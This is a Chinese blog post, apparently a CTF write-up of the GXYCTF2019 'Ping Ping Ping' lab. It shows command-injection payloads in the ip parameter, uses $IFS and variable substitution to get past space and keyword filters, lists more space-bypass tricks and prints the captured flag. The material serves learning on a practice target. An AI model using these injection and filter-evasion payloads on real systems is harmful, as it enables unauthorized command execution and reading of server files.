[GXYCTF2019]Ping Ping Ping 1思路

打开靶场一看,/?ip=

而题目的题目pingpingping 于是就在url地址后面拼 /?ip=127.0.0.1

结果发现ping通了

 

 那我们是不是可以用管道符查看下目录呢?于是试一下吧  /?ip=127.0.0.1|ls 出现两个 flag.php和index.php

 

 这道题这么简单的吗?于是我们/?ip=127.0.0.1|cat flag.php

以为可以出现我们想要的flag,结果出现了这个界面,

原来这个没这么简单,这段英语属实不知道啥意思,过滤了空格的意思吗?

过滤空格的解决方法

$IFS$1      //$1改成$加其他数字都行,都能当作空格来用

?ip=127.0.0.1|cat$IFS$1flag.php

结果flag也需要绕过,那我们就先看看index文件吧

结果发现了过滤规则

 

看着过滤了好多字符,但是在最后我们看到了a变量,那我们是不是可以将a的值覆盖,然后进行绕过呢?

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

然后我们在源码中发现了flag

 

 flag{53ec7aaa-24df-4624-819b-dc03dfa8c9fa}

 

盘点一下学到的知识点吧

$IFS是bash中的内部域分隔符,可以代替空格。后面的$9数字是可以随意的,

每个数字都有特殊含义,但是和前面的搭配都可以表示空格;

还有一些可以解决空格的问题:

{cat,flag.txt}

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

这些是linux下巧妙越过空格的方法

windows下绕过空格的方法,实用性不强,就type这个命令可以用

type.\flag.txt

type,flag.txt

借鉴各个大佬的,然后通过一些知识点查知识点,有侵权联系我。

posted @ 2020-09-23 19:58  junlebao  阅读(1178)  评论(0编辑  收藏  举报